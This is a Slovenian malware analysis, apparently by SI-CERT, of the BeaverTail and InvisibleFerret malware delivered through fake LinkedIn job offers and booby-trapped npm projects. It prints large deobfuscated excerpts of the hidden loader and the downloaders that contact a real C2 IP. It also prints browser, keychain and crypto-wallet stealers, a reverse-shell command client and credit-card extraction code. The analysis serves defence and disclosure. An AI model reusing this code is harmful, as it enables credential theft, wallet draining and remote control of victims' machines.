Uvod
Obravnavali smo zanimiv primer napada, pri katerem se napadalci lažno predstavljajo kot iskalci zaposlitve ali pa želijo kakšno drugo sodelovanje z neko organizacijo. Prvi kontakt praviloma vzpostavijo preko omrežja LinkedIn, nato pa poskušajo zavesti žrtev v zagon zlonamerne kode. Njihov cilj so predvsem podjetja in posamezniki, ki se ukvarjajo z Web3 tehnologijo (pametne pogodbe, kriptovalute, tehnologija veriženja blokov…).
![SI-CERT team > BeaverTail & InvisibleFerret > social.png](https://www.cert.si/wp-content/uploads/2025/02/social.png)
Tekom komunikacije napadalec pošlje povezavo do nekega predstavitvenega projekta, ki na prvi pogled zgleda povsem običajen in neškodljiv, vendar pa ob zagonu izvrši tudi zlonamerno kodo, ki ukrade podatke in vzpostavi stranska vrata do okuženega sistema.
![SI-CERT team > BeaverTail & InvisibleFerret > repo1.png](https://www.cert.si/wp-content/uploads/2025/02/repo1.png)
Sama zlonamerna koda je razdeljena na dva glavna dela, ki sta znana po imenih BeaverTail in InvisibleFerret. Razlikujeta se po namenu in programskem jeziku, v katerem sta modula spisana: BeaverTail – Node.js, InvisibleFerret – Python. Ta tehnični zapis se ne ukvarja z atribucijo napadalcev, raziskave in poročila nekaterih drugih varnostnih strokovnjakov pa povezujejo tovrstno prakso in zlonamerno kodo z aktivnostmi državno sponzoriranih hekerjev iz Severne Koreje.
Analiza projekta
![SI-CERT team > BeaverTail & InvisibleFerret > repo2.png](https://www.cert.si/wp-content/uploads/2025/02/repo2.png)
Analiza deljenega projekta je pokazala, da gre za Node.js Package Manager (NPM) paket. Projekt vsebuje tudi navodila za gradnjo in zagon programa, katera izvršijo tudi zlonamerno kodo.
{
"name": "cryptoever-server",
"version": "1.0.0",
"engines": {
"node": ">=16.17.1"
},
"description": "",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"start": "node server.js",
"build": "npm run build",
"server": "nodemon server.js",
"dev": "concurrently \"npm run server\" ",
"lint": "eslint \"./**/*.js\" --quiet",
"lintFull": "eslint \"./**/*.js\"",
"lintFix": "eslint . --ext .js"
},
"author": "",
"license": "ISC",
"dependencies": {
...
},
"devDependencies": {
...
}
}
Konfiguracijska datoteka package.json vsebuje podatke o NPM paketu in definira tudi glavno (main) datoteko, v kateri se začne izvajanje Node.js kode.
const mongoose = require("mongoose");
const express = require('express');
const dotenv = require('dotenv');
const path = require('path');
const app = require('./app');
dotenv.config({path: './confiv.env'});
// console.log(process.env);
// Connect DB
...
Datoteka server.js sama ne vsebuje zlonamerne kode, vendar pa s funkcijo require naloži dodatne module. Večina teh modulov je standardnih in legitimnih, modul app je pa lokalen in se nahaja v datoteki app.js.
const path = require('path');
const express = require('express');
const helmet = require('helmet');
const mongoSanitize = require('express-mongo-sanitize');
const hpp = require('hpp');
const cookieParser = require('cookie-parser');
const compression = require('compression');
const rateLimit = require('express-rate-limit');
const cors = require('cors');
const usersRouter = require('./routes/userRoutes');
const walletsRouter = require('./routes/walletRoutes');
const transactionsRouter = require('./routes/transactionRoutes');
const adminRouter = require('./routes/adminRoutes');
const { testInterval } = require('./services/interval');
const app = express();
...
module.exports = app;
Datoteka app.js tudi direktno ne vsebuje zlonamerne kode, naloži pa dodatne lokalne module. Večina teh modulov vsebuje le odvečno kodo, ki ni preveč zanimiva, v modulu userRoutes se pa skriva začetek zlonamerne kode.
userRoutes.js
![SI-CERT team > BeaverTail & InvisibleFerret > codeWrapped.gif](https://www.cert.si/wp-content/uploads/2025/02/codeWrapped.gif)
Datoteka userRoutes.js na koncu vsebuje prikrito kodo. Vsa prikrita koda je v eni sami vrstici in ima pred njo veliko presledkov. Na ta način se skrije v tekstovnih urejevalnikih brez možnosti preloma besed (word wrap). Koda pa je bila verjetno zamaskirana oz. obfuskirana z uporabo odprto-kodnega obfuskatorja javascript-obfuscator.
![SI-CERT team > BeaverTail & InvisibleFerret > codeDeobfuscated.png](https://www.cert.si/wp-content/uploads/2025/02/codeDeobfuscated.png)
S pomočjo orodja synchrony in nekaj ročnega dela smo pridobili bolj berljivo oz. deobfuskirano obliko kode. Analiza kode je pokazala, da najprej poskusi poslati nekaj osnovnih informacij o sistemu na t.i. C2 strežnik, ki je pod nadzorom napadalcev, zatem pa z njega prenese in izvrši nadaljnji tovor. Ta postopek skripta izvrši 3x, in sicer ob zagonu in nato še dvakrat z zamikom 10min, nato pa zaključi izvajanje.
const at = async (ax, ay) => {
const az = {
ts: P, // timestamp
type: a3, // "ZU1RINz7"
hid: as, // hostname
ss: ax, // param1 = "sqj"
cc: ay, // param2 = '3D1' + Proc.argv[1]
},
aB = {
["url"]: "http://23.106.253.221:1244/keys",
["formData"]: az,
};
try {
Request.post(aB, (aC, aD, aE) => {});
} catch (aC) {}
};
var au = 0;
const av = async () => {
try {
P = Date.now().toString();
await (async () => {
as = hostname; // hostname
"d" == platform[0] && (as = as + "+" + userInfo.username); // hostname+username
let ax = "3D1";
try {
ax += Proc.argv[1];
} catch (ay) {}
at("sqj", ax);
})();
(async () => {
await new Promise((ax, ay) => {
ab();
});
})();
} catch (ax) {}
};
av();
let aw = setInterval(() => {
(au += 1) < 3 ? av() : clearInterval(aw);
}, 600000);
V zgornjem izseku kode vidimo funkcijo, ki pošlje podatke na C2 strežnik. To naredi s HTTP POST zahtevo na sledeč naslov:
http://23.106.253.221:1244/keys
Opomba: vsi C2 strežniki iz tega zapisa v času objave niso bili več dosegljivi
Med podatki, ki jih pošlje v zahtevi, so timestamp, type/fingerprint, host ID (hostname), data type, in data.
Prenos in zagon tovora
const ab = () => {
let aB = Path.join(homedir, ".vscode"); // $HOME\.vscode
try {
aC = aB;
Path.mkdirSync(aC, { recursive: true });
} catch (aF) {
aB = homedir;
}
var aC;
const aD = "http://23.106.253.221:1244/j/" + a3, // http://23.106.253.221:1244/j/ZU1RINz7
aE = Path.join(aB, "test.js"); // $HOME\.vscode\test.js
try {
!(function (aG) {
Fs.rmSync(aG);
})(aE);
} catch (aG) {}
Request.get(aD, (aH, aI, aJ) => {
if (!aH) {
try {
Fs.writeFileSync(aE, aJ);
} catch (aK) {}
af(aB);
}
});
},
af = (ax) => {
const aB = "http://23.106.253.221:1244/p",
aC = Path.join(ax, "package.json"); // $HOME\.vscode\package.json
pathExists(aC)
? aj(ax)
: Request.get(aB, (aD, aE, aF) => {
if (!aD) {
try {
Fs.writeFileSync(aC, aF);
} catch (aG) {}
aj(ax);
}
});
},
aj = (ax) => {
const ay = 'cd "' + ax + '" ' + "&& npm i --silent",
az = Path.join(ax, "node_modules");
try {
pathExists(az)
? ao(ax)
: exec(ay, (aA, aB, aC) => {
an(ax);
});
} catch (aA) {}
},
an = (ax) => {
const ay = 'npm --prefix "' + ax + '" ' + "install",
az = Path.join(ax, "node_modules");
try {
pathExists(az)
? ao(ax)
: exec(ay, (aA, aB, aC) => {
ao(ax);
});
} catch (aA) {}
},
ao = (ax) => {
const ay = Path.join(ax, "test.js"),
az = "node " + ay;
try {
exec(az, (aA, aB, aC) => {});
} catch (aA) {}
};
Drugi del skripte je namenjen prenosu in izvršitvi tovora. Vidimo, da funkcija poskusi kreirati novo mapo z imenom .vscode v domači mapi trenutnega uporabnika (Windows – %USERPROFILE%, Linux/Darwin – $HOME, ~/) in nato vanjo prenese datoteki test.js (http://23.106.253.221:1244/j/ZU1RINz7) in package.json (http://23.106.253.221:1244/p). Zatem v isti mapi požene ukaz npm install, ki prenese potrebne knjižnice (dependencies), nato pa še node test.js, ki izvrši prenešen tovor.
Preprečevanje zagona
Skripta vsebuje tudi zanimiv način preprečevanja zagona deobfuskirane kode, ki lahko oteži izvajanje dinamične analize:
const F = (function () {
let ax = true;
return function (ay, az) {
const aA = ax
? function () {
if (az) {
const aB = az.apply(ay, arguments);
return (az = null), aB;
}
}
: function () {};
return (ax = false), aA;
};
})(),
H = F(this, function () {
return H.toString()
.search("(((.+)+)+)+$")
.toString()
.constructor(H)
.search("(((.+)+)+)+$");
});
H();
Notranja funkcija v spremenljivki H pridobi niz, ki vsebuje kodo zunanje funkcije (rezultat funkcije F), in nad njim požene regex (((.+)+)+)+$. V primerih, kjer niz vsebuje novo vrstico, čas izvajanja tega regularnega izraza eksponentno narašča glede na število znakov v vrstici. Tovrstno izvajanje ima tudi ime catastrophic backtrace ali runaway regular expression. To pomeni, da se bo za deobfuskirano kodo, ki vsebuje presledke, ta izraz predolgo izvajal in vrnil neko napako. Ker pa je obfuskirana koda v eni sami vrstici, se izraz hitro zaključi in nato se lahko izvede še nadaljnja zlonamerna koda.
Glavni Node.js modul – BeaverTail
Če se vrnemo malo nazaj in se osredotočimo na prenešen tovor, ugotovimo, da gre tudi tu za NPM paket.
{
"dependencies": {
"child_process": "^1.0.2",
"request": "^2.88.2",
"crypto": "^1.0.1"
}
}
Konfiguracijska datoteka (package.json) je zelo preprosta in vsebuje le nekaj knjižnic, ki se prenesejo z npm install ukazom.
![SI-CERT team > BeaverTail & InvisibleFerret > btObfuscated.png](https://www.cert.si/wp-content/uploads/2025/02/btObfuscated.png)
Nadaljnja koda se pa nahaja v datoteki test.js. Tako kot prejšnji del je tudi ta koda obfuskirana in vsebuje enak način preprečevanja zagona z uporabo regularnih izrazov. Kodo smo deobfuskirali na podoben način kot v prejšnjem delu in dodatno smiselno preimenovali funkcije ter nekatere spremenljivke. Pridobljena koda je malo bolj kompleksna in vsebuje dva dela, s katerima najprej ukrade podatke in nato prenese ter izvrši kodo nadaljnje stopnje.
Kraja podatkov
stealerMain = async () => {
hostId = hostname;
"d" == platform[0] && (hostId = hostId + "+" + userInfo.username);
try {
const a4 = s("~/");
await stealExtensionDataWrapper(chromeConfig, 0);
await stealExtensionDataWrapper(braveConfig, 1);
await stealExtensionDataWrapper(operaConfig, 2);
"w" == platform[0]
? ((pa = "" + a4 + "/AppData/" + "Local/Microsoft/Edge" + "/User Data"),
await stealExtensionData(pa, "3_", false))
: "l" == platform[0]
? (await linuxKeyringStealer(), await linuxChromeStealer(), await linuxFirefoxStealer())
: "d" == platform[0] &&
(await (async () => {
let a5 = [];
const a6 = "Login Data";
if (((pa = "" + homeDir + "/Library/Keychains/login.keychain"), fileExists(pa))) {
try {
a5.push({
["value"]: fileCreateReadStream(pa),
["options"]: { ["filename"]: "logkc-db" },
});
} catch (a9) {}
} else {
if (((pa += "-db"), fileExists(pa))) {
try {
a5.push({
["value"]: fileCreateReadStream(pa),
["options"]: { ["filename"]: "logkc-db" },
});
} catch (aa) {}
}
}
try {
let ac = "";
if (((ac = "" + homeDir + "/Library/Application Support/" + "Google/Chrome"), ac && "" !== ac && getAccess(ac))) {
for (let ad = 0; ad < 200; ad++) {
const ae =
ac + "/" + (0 === ad ? "Default" : "Profile" + " " + ad) + "/" + a6;
try {
if (!getAccess(ae)) {
continue;
}
const af = ac + "/ld_" + ad;
getAccess(af)
? a5.push({
["value"]: fileCreateReadStream(af),
["options"]: { ["filename"]: "pld_" + ad },
})
: fs.copyFile(ae, af, (ag) => {
let ah = [
{
["value"]: fileCreateReadStream(ae),
["options"]: { ["filename"]: "pld_" + ad },
},
];
uploadData(ah);
});
} catch (ag) {}
}
}
} catch (ah) {}
return uploadData(a5), a5;
})(),
await macStealer(),
await macFirefoxStealer());
await uploadDirWrapper("Exodus/exodus.wallet", "exod");
await uploadDirWrapper("atomic/Local Storage/leveldb", "atmc");
} catch (a5) {}
}
Zgoraj je vidna glavna funkcija, ki pridobi in pošlje podatke iz različnih spletnih brskalnikov. Najprej poskusi pridobiti podatke iz razširitev/dodatkov brskalnikov, na Linux in Darwin sistemih pa nato še druge podatke shranjenih v brskalnikih (gesla, seje, zgodovina, itd.). Pridobljene podatke pošlje nadzornemu strežniku preko HTTP POST zahtev na naslov:
http://23.106.253.221:1244/uploads
Spodaj je naveden seznam razširitev iz katerih program krade podatke:
ID razširitve | Ime | Vir |
nkbihfbeogaeaoehlefnkodbefgpgknn | Metamask | Chrome store |
ejbalbakoplchlghecdalmeeeajnimhm | Metamask | Microsoft store |
ibnejdfjmmkpcnlpebklmnkoeoihofec | TronLink | Chrome store |
fhbohimaelbohpjbbldcngcnapndodjp | BNB Chain Wallet | Chrome store |
hnfanknocfeofbddgcijnmhnfnkdnaad | Coinbase Wallet | Chrome store |
bfnaelmomeimhlpmgjnjophhpkkoljpa | Phantom | Chrome store |
aeachknmefphepccionboohckonoeemg | Coin98 Wallet | Chrome store |
egjidjbpglichdcondbcbdnbeeppgdph | Trust Wallet | Chrome store |
hifafgmccdpekplomjjkcfgodnhcellj | Crypto.com | Wallet Extension | Chrome store |
aholpfdialjgjfhomihkjbmgjidlcdno | Exodus Web3 Wallet | Chrome store |
mcohilncbfahbmgdjkbpemcciiolgcge | OKX Wallet | Chrome store |
pdliaogehgdbhbnmkklieghmmjkpigpa | Bybit Wallet | Chrome store |
bhghoamapcdpbohphigoooaddinpkbai | Authenticator | Chrome store |
Prenos in izvršitev naslednje stopnje
execNextStage = async () =>
await new Promise((a4, a5) => {
if ("w" != platform[0]) {
(() => {
const a7 = b,
a8 = u,
a9 = Z,
aa = o,
url = "http://23.106.253.221:1244/client/ZU1RINz7",
payload_path = "" + homeDir + "/.npl";
let python3_cmd = 'python3 "' + payload_path + '"',
python_cmd = 'python "' + payload_path + '"';
request.get(url, (err, resp, body) => {
err ||
(fs.writeFileSync(payload_path, body),
exec(python3_cmd, (err, stdin, stdout) => {
err && exec(python_cmd, (am, an, ao) => {});
}));
});
})();
} else {
fileExists("" + ("" + homeDir + "\\.pyp\\python.exe"))
? (() => {
const a7 = b,
a8 = Z,
a9 = u,
aa = o,
url = "http://23.106.253.221:1244/client/ZU1RINz7",
payload_path = "" + homeDir + "/.npl",
python_cmd = '"' + homeDir + "\\.pyp\\python.exe" + '" "' + payload_path + '"';
try {
removeFile(payload_path);
} catch (ae) {}
request.get(url, (err, resp, body) => {
if (!err) {
try {
fs.writeFileSync(payload_path, body);
exec(python_cmd, (ai, aj, ak) => {});
} catch (ai) {}
}
});
})()
: downloadPythonEnv();
}
});
Drugi del kode na Windows sistemih najprej namesti Python 3.11 okolje. To naredi tako, da z orodjem curl prenese ZIP arhiv iz naslova http://23.106.253.221:1244/pdown, ki vsebuje celotno Python okolje za Windows OS in ga shrani pod imenom p2.zip v mapi z začasnimi datotekami. Ta arhiv nato z orodjem tar razširi v domačo mapo uporabnika. Zanimivost pri tem je uporaba orodji curl in tar (bsdtar – omogoča razširitev ZIP datotek), ki sta bolj značilni za operacijske sisteme podobne Unixu, vendar sta orodji vsebovani tudi v Windows OS-ih novejših od verzije 1803 (build 17063). Za ostale operacijske sisteme program predvideva, da je Python okolje že nameščeno.
Zatem program s HTTP GET zahtevo pridobi kodo iz naslova:
http://23.106.253.221:1244/client/ZU1RINz7
Odgovor shrani v datoteko .npl v domači mapi uporabnika in jo nato izvrši s Python interpretorjem. Zatem se zlonamerna koda nadaljuje v različnih Python skriptah. Node.js koda v tej sekciji je znana po imenu BeaverTail in se jo lahko prepozna po formatu URL-jev, s katerimi komunicira, imenu prenešenih datotek (.npl) in po sami funkciji prenosa Python okolja in zagonu tovora.
Python – InvisibleFerret
sType = 'ZU1RINz7'
qt="GlmYk"+"sYL"+"TQUAKQQBLWwlDR48XUd1PCsNGT8EATRgKB9BKh4RKT4oDwgqGF8qNTRmGSsSSTAh..."
import base64
dx=base64.b64decode(qt[8:]);sk=qt[:8];sl=len(dx);rb=''
for aa in range(sl):k=aa&7;c=chr(dx[aa]^ord(sk[k]));rb+=c
exec(rb)
Koda v datoteki .npl je šifrirana po zelo preprostem postopku. Spremenljivka qt vsebuje ključ (prvih 8 znakov ) in zašifrirane podatke (preostali znaki). Podatke najprej dekodira (base64) in dešifrira (XOR), nato pa dobljeno kodo izvrši s pomočjo funkcije exec.
sType = 'ZU1RINz7'
import base64,platform,os,subprocess,sys
try:import requests
except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests
ot = platform.system()
home = os.path.expanduser("~")
host="I1My4yMjE=MjMuMTA2Lj"
host1 = '23.106.253.221'
host2 = 'http://23.106.253.221:1244'
pd = os.path.join(home, ".n2")
ap = pd + "/pay"
def download_payload():
if os.path.exists(ap):
try:os.remove(ap)
except OSError:return True
try:
if not os.path.exists(pd):os.makedirs(pd)
except:pass
try:
aa = requests.get(host2+"/payload/"+sType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)
return True
except Exception as e:return False
res=download_payload()
if res:
if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
else:subprocess.Popen([sys.executable, ap])
if ot=="Darwin":sys.exit(-1)
ap = pd + "/bow"
def download_browse():
if os.path.exists(ap):
try:os.remove(ap)
except OSError:return True
try:
if not os.path.exists(pd):os.makedirs(pd)
except:pass
try:
aa=requests.get(host2+"/brow/"+sType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)
return True
except Exception as e:return False
res=download_browse()
if res:
if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
else:subprocess.Popen([sys.executable, ap])
Poleg enostavnega šifriranja koda ne vsebuje drugih metod obfuskacije, kar močno olajša analizo. Namen kode je prenos in izvršitev dveh dodatnih Python skript oz. modulov:
Ime modula | URL | Mesto prenosa |
Payload | http://23.106.253.221:1244/payload/ZU1RINz7 | $HOME/.n2/pay |
Browser | http://23.106.253.221:1244/brow/ZU1RINz7 | $HOME/.n2/bow |
Program na Darwin sistemih izvrši samo prvi modul (Payload) in zatem, s klicem funkcije sys.exit, zaključi izvajanje. Začetek programa vsebuje tudi zanimiv način, s katerim dinamično namesti vse potrebne knjižnice (dependencies).
Payload modul
sType = 'ZU1RINz7'
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==QBDfReP0///9J/Vuj3SiAL1hyJcBKfm+vrOSH1KXNEJbW+9/yBePdOmWF+JX1cbHWF+/DawmAILG8fXEEBA...'))
Podobno kot prejšnji del je tudi tu koda prekrita, vendar po nekoliko drugačnem postopku. V tem primeru je koda stisnjena (zlib), kodirana (base64) in na koncu je rezultat kodiranja še obrnjen. Razširjena koda je nato izvršena s funkcijo exec. Vendar po le eni iteraciji tega postopka še ne dobimo povrnjene kode, saj je v tem primeru koda večkrat stisnjena. Pridobljena koda po prvi iteraciji:
exec((_)(b'+AFS/8377z//knq30HkZXiw3tLbgJ6htHIJZafVRV82Rl/NNynyaQOipLphioserP9FziGb+kAR+znOrDoAK/RzM7wezmWOdwfh9rsTfMUu7XqMrGWrLr9ObpZ6t7DA...'))
Za popolno povrnitev kode smo spisali preprosto Python skripto:
data=b'==QBDfReP0///9J/Vuj3SiAL1hyJcBKfm+vrOSH1KXNEJbW+9/yBePdOmWF+JX1cbHWF+/DawmAILG8fXEEBA...'
decompress = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))
data = decompress(data)
i = 1
while data.startswith(b"exec((_)(b'"):
data = decompress(data[11:-2])
i += 1
print(f'Code decompressed after {i} iterations\n')
open('decompressed.py', 'wb').write(data)
Po 50 iteracijah dobimo dokončno razširjeno kodo. Tudi ta ne vsebuje kakšnih drugih metod obfuskacije. Njen glavni namen je izvajanje prejetih ukazov iz C2 strežnika.
...
HOST0 = '173.211.106.101'
PORT0 = 1244
class Client():
def __init__(A):A.server_ip = HOST0;A.server_port = PORT0;A.is_active = _F;A.is_alive = _T;A.timeout_count = 0;A.shell = _N
@property
def make_connection(A):
while _T:
try:
A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = Session(A.client_socket);s.connect(A.server_ip, A.server_port)
A.shell = Shell(s);A.is_active = _T
if A.shell.shell():
try:dir = os.getcwd();fn=os.path.join(dir,sys.argv[0]);os.remove(fn)
except:pass
return _T
sleep(15)
except Exception as e:sleep(20);pass
def run(A):
if A.make_connection:return
client = Client()
...
Zgornji izsek kode vsebuje razred Client, ki izvede povezavo na C2 strežnik in začne komunikacijo, ki poteka preko TCP protokola. V tem primeru je naslov C2 strežnika sledeč:
173.211.106.101:1244
Po povezavi na C2 strežnik začne program izvajati prejete ukaze. Struktura paketa, ki vsebuje ukaz, je zelo preprosta:
4 bajti – big endian | … |
Velikost podatkov | Podatki |
Sam ukaz (podatki) je v JSON formatu in je sestavljen iz ID ukaza (število) in argumentov. Razred, ki bere in izvrši ukaze, je Shell:
class Shell(object):
def __init__(A,S):
A.sess = S;A.is_alive = _T;A.is_delete = _F;A.lock = RLock();A.timeout_count=0;A.cp_stop=0
A.par_dir = os.path.join(os.path.expanduser("~"), ".n2")
A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.ssh_env,9:A.ssh_zcp}
def listen_recv(A):
while A.is_alive:
recv=A.sess.recv()
if recv==-1:
if A.timeout_count<30:A.timeout_count+=1;continue
else:A.timeout_count=0;recv=_N
if recv:
A.timeout_count=0
with A.lock:
D=json.loads(recv);c=D['code'];args=D['args']
if c in A.cmds:tg=A.cmds[c];t=Thread(target=tg,args=(args,));t.start()#tg(args)
else:
if A.is_alive:A.is_alive=_F;A.close()
else:
if A.is_alive:A.timeout_count=0;A.is_alive=_F;A.close()
def shell(A):
t1 = Thread(target=A.listen_recv);t1.daemon=_T;t1.start()
while A.is_alive:
try:sleep(5)
except:break
A.close()
return A.is_delete
def send(A,code=_N,args=_N):A.sess.send(code=code,args=args)
...
Tabela možnih ukazov:
ID Ukaza | Ime funkcije | Opis |
1 | ssh_obj | Izvrši ukaz v ukazni lupini in vrne izhod. |
2 | ssh_cmd | Izvrši posebne ukaze. V tem primeru je implementiran samo en ukaz, ki zapre celotno povezavo. |
3 | ssh_clip | Vrne zabeležene vnose (keylogger). Keylogger je aktiven samo na Windows OS. |
4 | ssh _run | Prenese in izvrši »Browser« modul (opisan v nadaljevanju). |
5 | ssh _upload | Omogoča iskanje datotek po sistemu in odlaganje datotek na nek FTP strežnik (podatki FTP strežnika so podani v argumentih ukaza). |
6 | ssh _kill | Ubije procese brsklanikov Chrome in Brave |
7 | ssh _any | Prenese in izvrši dodatno skripto, ki namesti in konfigurira program za oddaljen dostop AnyDesk |
8 | ssh _env | Pridobi datoteke iz zunanjih diskov in map za dokumente ter prenose in jih odloži na FTP strežnik |
9 | ssh _zcp | Ukrade podatke brskalnikov, razširitev, upravljalcev gesel, kripto denarnic in nekaterih drugih aplikacij ter jih shrani v zašifriran arhiv. Arhiv nato odloži na FTP strežnik ali pa jih pošlje v Telegram kanal (preko API-ja) |
Ukaz ssh_zcp krade podatke iz aplikacij Chrome, Chromium, Opera, Brave, Edge, Vivaldi, 1Password, Exodus, Atomic, Electrum, WinAuth, Proxifier v4, Dashlane, ter iz razširitev iz spodnjega seznama:
ID razširitve | Ime |
aeachknmefphepccionboohckonoeemg | Coin98 |
aholpfdialjgjfhomihkjbmgjidlcdno | Exodus |
bfnaelmomeimhlpmgjnjophhpkkoljpa | Phantom |
ejbalbakoplchlghecdalmeeeajnimhm | MetaMask |
ejjladinnckdgjemekebdpeokbikhfci | PetraAptos |
egjidjbpglichdcondbcbdnbeeppgdph | Trust |
fhbohimaelbohpjbbldcngcnapndodjp | Binance |
gjdfdfnbillbflbkmldbclkihgajchbg | Termux |
hifafgmccdpekplomjjkcfgodnhcellj | Crypto |
hnfanknocfeofbddgcijnmhnfnkdnaad | CoinBase |
ibnejdfjmmkpcnlpebklmnkoeoihofec | TronLink |
lgmpcpglpngdoalbgeoldeajfclnhafa | Safepal |
mcohilncbfahbmgdjkbpemcciiolgcge | OKX |
nkbihfbeogaeaoehlefnkodbefgpgknn | MetaMask |
nphplpgoakhhjchkkhmiggakijnkhfnd | Ton |
pdliaogehgdbhbnmkklieghmmjkpigpa | ByBit |
phkbamefinggmakgklpkljjmgibohnba | Pontem |
kkpllkodjeloidieedojogacfhpaihoh | Enkrypt |
agoakfejjabomempkjlepdflaleeobhb | Core |
jiidiaalihmmhddjgbnbgdfflelocpak | Bitget |
kgdijkcfiglijhaglibaidbipiejjfdp | Cirus |
kkpehldckknjffeakihjajcjccmcjflh | HBAR |
idnnbdplmphpflfnlkomgpfbpcgelopg | Xverse |
fccgmnglbhajioalokbcidhcaikhlcpm | Zapit |
fijngjgcjhjmmpcmkeiomlglpeiijkld | Talisman |
enabgbdfcbaehmbigakijjabdpdnimlg | Manta |
onhogfjeacnfoofkfgppdlbmlmnplgbn | Sub |
amkmjjmmflddogmhpjloimipbofnfjih | Wombat |
glmhbknppefdmpemdmjnjlinpbclokhn | Orange |
hmeobnfnfcmdkdcmlblgagmfpfboieaf | XDEFI |
acmacodkjbdgmoleebolmdjonilkdbch | Rabby |
fcfcfllfndlomdhbehjjcoimbgofdncg | LeapCosmos |
anokgmphncpekkhclmingpimjmcooifb | Compass |
epapihdplajcdnnkdeiahlgigofloibg | Sender |
efbglgofoippbgcjepnhiblaibcnclgk | Martian |
ldinpeekobnhjjdofggfgjlcehhmanlj | Leather |
lccbohhgfkdikahanoclbdmaolidjdfl | Wigwam |
abkahkcbhngaebpcgfmhkoioedceoigp | Casper |
bhhhlbepdkbapadjdnnojkbgioiodbic | Solflare |
klghhnkeealcohjjanjjdaeeggmfmlpl | Zerion |
lnnnmfcpbkafcpgdilckhmhbkkbpkmid | Koala |
ibljocddagjghmlpgihahamcghfggcjc | Virgo |
ppbibelpcjmhbdihakflkdcoccbgbkpo | UniSat |
afbcbjpbpfadlkmhmclhkeeodmamcflc | Math |
ebfidpplhabeedpnhjnobghokpiioolj | Fewcha |
fopmedgnkfpebgllppeddmmochcookhc | Suku |
gjagmgiddbbciopjhllkdnddhcglnemk | Hashpack |
jnlgamecbpmbajjfhmmmlhejkemejdma | Braavos |
pgiaagfkgcbnmiiolekcfmljdagdhlcm | Stargazer |
khpkpbbcccdmmclmpigdgddabeilkdpd | Suiet |
kilnpioakcdndlodeeceffgjdpojajlo | Aurox |
bopcbmipnjdcdfflfgjdgdjejmgpoaab | Block |
kmhcihpebfmpgmihbkipmjlmmioameka | Eternl |
aflkmfhebedbjioipglgcbcmnbpgliof | Backpack |
ajkifnllfhikkjbjopkhmjoieikeihjb | Moso |
pfccjkejcgoppjnllalolplgogenfojk | Tomo |
jaooiolkmfcmloonphpiiogkfckgciom | Twetch |
kmphdnilpmdejikjdnlbcnmnabepfgkh | OsmWallet |
hbbgbephgojikajhfbomhlmmollphcad | Rise |
nbdhibgjnjpnkajaghbffjbkcgljfgdi | Ramper |
fldfpgipfncgndfolcbkdeeknbbbnhcc | MyTon |
jnmbobjmhlngoefaiojfljckilhhlhcj | OneKey |
fcckkdbjnoikooededlapcalpionmalo | MOBOX |
gadbifgblmedliakbceidegloehmffic | Paragon |
ebaeifdbcjklcmoigppnpkcghndhpbbm | SenSui |
opfgelmcmbiajamepnmloijbpoleiama | Rainbow |
jfflgdhkeohhkelibbefdcgjijppkdeb | OrdPay |
kfecffoibanimcnjeajlcnbablfeafho | Libonomy |
opcgpfmipidbgpenhmajoajpbobppdil | Sui |
penjlddjkjgpnkllboccdgccekpkcbin | OpenMask |
kbdcddcmgoplfockflacnnefaehaiocb | Shell |
abogmiocnneedmmepnohnhlijcjpcifd | Blade |
omaabbefbmiijedngplfjmnooppbclkk | Tonkeeper |
cnncmdhjacpkmjmkcafchppbnpnhdmon | HAVAH |
eokbbaidfgdndnljmffldfgjklpjkdoi | Fluent |
fnjhmkhhmkbjkkabndcnnogagogbneec | Ronin |
dmkamcknogkgcdfhhbddcghachkejeap | Keplr |
dlcobpjiigpikoobohmabehhmhfoodbb | ArgentX |
aiifbnbfobpmeekipheeijimdpnlpgpp | Station |
eajafomhmkipbjmfmhebemolkcicgfmd | Taho |
mkpegjkblkkefacfnmkajcjmabijhclg | MagicEden |
ffbceckpkpbcmgiaehlloocglmijnpmp | Initia |
lpfcbjknijpeeillifnkikgncikgfhdo | Nami |
fpkhgmpbidmiogeglndfbkegfdlnajnf | Cosmostation |
kppfdiipphfccemcignhifpjkapfbihd | Frontier |
fdjamakpfbbddfjaooikfcpapjohcfmg | Dashalane |
hdokiejnpimakedhajhdlcegeplioahd | LastPass |
bhghoamapcdpbohphigoooaddinpkbai | GoogleAuth |
Browser modul
Tudi ta modul je kodiran in stisnjen po enakem postopku kot prejšnji. Njegov namen je kraja gesel in kreditnih kartic shranjenih v spletnih brskalnikih. Gre za bolj specializirano različico ssh _zcp ukaza iz prejšnjega modula in kradljivca v BeaverTail kodi. Razlika je v tem, da ostala dva kradljivca preneseta celotne mape s shranjenimi podatki spletnih brskalnikov, ta se pa osredotoči samo na shranjena gesla in kreditne kartice.
class CB:
...
def retrieve_web(A):
web_paths, keys = A.b_web_paths, A.keys
temp_path = (home + "/AppData/Local/Temp") if A.target_os == "Windows" else "/tmp"
try:
for web_path in web_paths:
filename = os.path.join(temp_path, "webdata.db")
shutil.copyfile(web_path, filename)
conn = sqlite3.connect(filename)
cursor = conn.cursor()
cursor.execute(
'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
key = keys[web_paths.index(web_path)]
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2] or not row[3]:
continue
if A.target_os == "Windows":card_number = A.dec_win_pwd(row[3], key)
elif A.target_os == "Linux" or A.target_os == "Darwin":card_number = A.dec_unx_pwd(row[3], key)
else:card_number = ""
if card_number == "" and not A.bl_pwds:continue
A.webs.append(dict(name_on_card=row[0],expiration_month=row[1],expiration_year=row[2],card_number=card_number,date_modified=row[4]))
cursor.close();conn.close()
try:os.remove(filename)
except OSError:pass
except Exception as E:return []
...
